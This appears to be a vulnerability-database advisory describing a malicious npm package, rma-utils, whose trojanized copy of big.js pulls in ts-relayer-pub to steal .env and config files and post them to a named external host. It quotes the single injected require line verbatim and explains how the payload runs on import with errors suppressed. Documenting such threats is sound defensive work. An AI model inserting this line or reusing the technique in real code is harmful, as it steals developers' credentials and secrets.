GCVE-110-OSM-2026-3166

Exfiltrates credentials by loading the malicious ts-relayer-pub package at require-time through code injected inside a trojanized copy of big.js v7.0.1, completing a two-stage credential theft chain that posts stolen .env and config files to cloudflare-protection.vercel.app. big.js (sha256: f714ff7392b0abd749d23a398646a6bbbbecd4d56cbc810105ecdbcca8f83dfd) is a verbatim copy of the legitimate big.js v7.0.1 library with one injected line inside the outer IIFE, between P.minus and P.mod prototype assignments: 'const doc = require("ts-relayer-pub"); doc.from_str().then(e => e).catch(e => { });'. ts-relayer-pub@^1.0.0 is declared in package.json dependencies, so npm installs it automatically. On import, rma-utils immediately invokes ts-relayer-pub's from_str() function which recursively searches process.cwd() for .env, config.toml, id.json, and similar credential files and exfiltrates them via axios.post to cloudflare-protection.vercel.app. Errors are suppressed silently (.catch). No obfuscation, no install hook — payload executes on first require('rma-utils').